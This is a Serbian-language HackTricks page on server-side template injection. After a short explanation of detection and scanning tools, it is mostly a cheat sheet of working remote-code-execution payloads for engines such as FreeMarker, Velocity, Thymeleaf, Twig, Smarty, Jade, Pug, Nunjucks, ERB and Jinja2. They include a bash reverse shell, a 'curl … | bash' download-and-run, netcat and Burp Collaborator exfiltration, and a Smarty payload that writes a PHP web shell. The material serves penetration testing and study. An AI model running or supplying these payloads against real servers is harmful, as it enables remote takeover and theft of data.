.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Server Side Template Injection)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu Proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
Šta je SSTI (Server-Side Template Injection)
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može biti pronađena u različitim tehnologijama, uključujući Jinju.
Jinja je popularni sistem šablona koji se koristi u veb aplikacijama. Razmotrimo primer koji demonstrira ranjiv isecak koda koji koristi Jinju:
output = template.render(name=request.args.get('name'))
U ovom ranjivom kodu, parametar name
iz zahteva korisnika direktno se prosleđuje u šablon pomoću funkcije render
. Ovo potencijalno može omogućiti napadaču da ubaci zlonamerni kod u parametar name
, što može dovesti do ubacivanja šablona na serverskoj strani.
Na primer, napadač bi mogao da napravi zahtev sa payload-om poput ovog:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Payload {{loše-stvari-ovde}}
je ubačen u parametar name
. Ovaj payload može sadržati Jinja direktive predložaka koje omogućavaju napadaču da izvrši neovlašćeni kod ili manipuliše mašinom predložaka, potencijalno preuzimajući kontrolu nad serverom.
Da bi se sprečile ranjivosti na ubacivanje predložaka na serverskoj strani, developeri treba da se pobrinu da korisnički unos bude pravilno očišćen i validiran pre nego što bude ubačen u predloške. Implementiranje validacije unosa i korišćenje tehnika bekend-izbegavanja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
Detekcija
Za detekciju ubacivanja predložaka na serverskoj strani (SSTI), u početku, fuzziranje predložaka je jednostavan pristup. To uključuje ubacivanje sekvence specijalnih karaktera (${{<%[%'"}}%\
) u predložak i analiziranje razlika u odgovoru servera na regularne podatke u odnosu na ovaj specijalni payload. Indikatori ranjivosti uključuju:
- Bačene greške, otkrivajući ranjivost i potencijalno mašinu predložaka.
- Odsustvo payloada u refleksiji, ili delovi koji nedostaju, impliciraju da server obrađuje drugačije nego regularne podatke.
- Tekstualni Kontekst: Razlikovanje od XSS-a proverom da li server evaluira izraze predložaka (npr.
{{7*7}}
,${7*7}
). - Kontekst Koda: Potvrda ranjivosti menjanjem ulaznih parametara. Na primer, promena
greeting
uhttp://vulnerable-website.com/?greeting=data.username
da vidimo da li je izlaz servera dinamičan ili fiksan, kao ugreeting=data.username}}hello
vraćajući korisničko ime.
Faza Identifikacije
Identifikacija mašine predložaka uključuje analizu poruka o greškama ili ručno testiranje različitih payloada specifičnih za jezik. Uobičajeni payloadi koji izazivaju greške uključuju ${7/0}
, {{7/0}}
, i <%= 7/0 %>
. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju specifične mašine predložaka.
Alati
TInjA
efikasan skener SSTI + CSTI koji koristi nove poligloti
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Tabela ubacivanja šablona
interaktivna tabela koja sadrži najefikasnije poliglote ubacivanja šablona zajedno sa očekivanim odgovorima 44 najvažnija mašina za šablone.
Eksploatacije
Generičke
U ovom wordlist-u možete pronaći promenljive definisane u okruženjima nekih od mašina navedenih ispod:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Osnovno ubacivanje
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Dobijanje sistemskih promenljivih okruženja
${T(java.lang.System).getenv()}
Java - Dobavljanje /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Možete probati svoje payload-ove na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass bezbednosnog peska
⚠️ radi samo na verzijama Freemarker-a ispod 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Više informacija
- U odeljku FreeMarker na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Brzina (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Više informacija
- U odeljku o Brzini na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
U Thymeleaf-u, uobičajeni test za ranjivosti na SSTI je izraz ${7*7}
, koji takođe važi za ovaj šablonski motor. Za potencijalno izvršavanje udaljenog koda, mogu se koristiti izrazi poput sledećih:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf zahteva da se ovi izrazi postave unutar određenih atributa. Međutim, inline izrazi se podržavaju za druge lokacije šablona, koristeći sintaksu poput [[...]]
ili [(...)]
. Dakle, jednostavan testni payload za SSTI može izgledati kao [[${7*7}]]
.
Međutim, verovatnoća da ovaj payload funkcioniše je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičku generaciju šablona; šabloni moraju biti unapred definisani. Programeri bi morali da implementiraju svoj TemplateResolver
kako bi kreirali šablone iz niski na zahtev, što je retko.
Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar duplih donjih crta (__...__
) preprocesiraju. Ova funkcija može biti iskorišćena u konstrukciji izraza, kako je prikazano u dokumentaciji Thymeleaf-a:
#{selection.__${sel.code}__}
Primer ranjivosti u Thymeleaf-u
Razmotrite sledeći odlomak koda, koji bi mogao biti podložan zloupotrebi:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Ovo ukazuje da ako šablon mašina nepravilno obrađuje ove ulaze, to može dovesti do izvršavanja udaljenog koda pristupanjem URL-ovima kao što su:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Više informacija
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filteri
Može se koristiti više izraza promenljivih, ako ${...}
ne radi, pokušajte sa #{...}
, *{...}
, @{...}
ili ~{...}
.
- Pročitajte
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Prilagođeni skript za generisanje payload-a
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Više informacija
Manipulacija Spring pogleda (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ nekiString.toUPPERCASE() }}
Stara verzija Pebble-a ( < verzija 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nova verzija Pebble-a:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava je biblioteka za rad sa šablonima na serverskoj strani koja podržava Server-Side Template Injection (SSTI). Jinjava je napisana u Javi i omogućava programerima da koriste funkcionalnosti slične Jinja2 biblioteci za Python. Ova biblioteka se može koristiti za izvršavanje koda na serverskoj strani putem SSTI ranjivosti.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava je open source projekat koji je razvio Hubspot, dostupan na https://github.com/HubSpot/jinjava/
Jinjava - Izvršavanje komandi
Popravljeno od strane https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Više informacija
Hubspot - HuBL (Java)
{% %}
delimitatori izjava{{ }}
delimitatori izraza{# #}
delimitatori komentara{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrili ste Jinjava projekat na Github-u.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Više informacija
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između sloja prezentacije (kao što su web stranice) i aplikacione logike (kao što su upravljani bean-ovi) u JavaEE. Ona se široko koristi u više JavaEE tehnologija kako bi olakšala ovu komunikaciju. Ključne JavaEE tehnologije koje koriste EL uključuju:
- JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim podacima i akcijama na backend-u.
- JavaServer Pages (JSP): EL se koristi u JSP-u za pristupanje i manipulisanje podacima unutar JSP stranica, čime se olakšava povezivanje elemenata stranice sa podacima aplikacije.
- Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i upravljanih bean-ova, osiguravajući coerentniju strukturu aplikacije.
Proverite sledeću stranicu da biste saznali više o eksploataciji EL interpretatora:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Sledeći zaobiđeni bezbednosni menadžeri preuzeti su sa ovog izveštaja.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za sajber bezbednost u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Više informacija
- U Smarty odeljku na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Format šablona
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Više informacija
- U odeljku Twig i Twig (Sandboxed) na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates je sistem za šablone koji je ugrađen u PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi ugrađeni PHP kod u šablonima, čineći ga intuitivnim za PHP programere.
Kontroler:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Šablon stranice:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Šablon rasporeda:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Više informacija
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB je isto što i PHPlib ali prebačen na Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
autori.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Više informacija
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Više informacija
- U odeljku Jade na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate PHP šablonizator koji ne kompajlira, koristi XML oznake za deljenje dokumenta na različite delove
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Više informacija
Handlebars (NodeJS)
Putanja Traversal (više informacija ovde).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Greška
- ${7*7} = ${7*7}
- Ništa
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Više informacija
JsRender (NodeJS)
Šablon | Opis |
---|---|
Proceni i prikaži izlaz | |
Proceni i prikaži izlaz kodiran HTML-om | |
Komentar | |
and | Dozvoli kod (onemogućeno po podrazumevanim postavkama) |
- = 49
Klijentska strana
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Server Side
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Više informacija
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Primer server-side renderovanja
var pugjs = require('pug');
home = pugjs.render(injected_page)
Više informacija
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Nema izlaza
- #{7*7} = #{7*7}
- {{console.log(1)}} = Greška
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Više informacija
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Greška
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Više informacija
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Više informacija
Python
Pogledajte sledeću stranicu da biste naučili trikove o proizvoljnom izvršavanju komandi zaobići peskire u Pythonu:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Više informacija
Jinja2 (Python)
Jinja2 je potpuno opremljen sistem za šablone za Python. Ima potpunu podršku za Unicode, opciono integrisano okruženje za izvršavanje u pesku, široko se koristi i licenciran je pod BSD licencom.
{{7*7}} = Greška
${7*7} = ${7*7}
{{foobar}} Ništa
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Format šablona
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE nezavisan od __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Više detalja o tome kako zloupotrebiti Jinju:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Drugi payload-ovi na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Više informacija
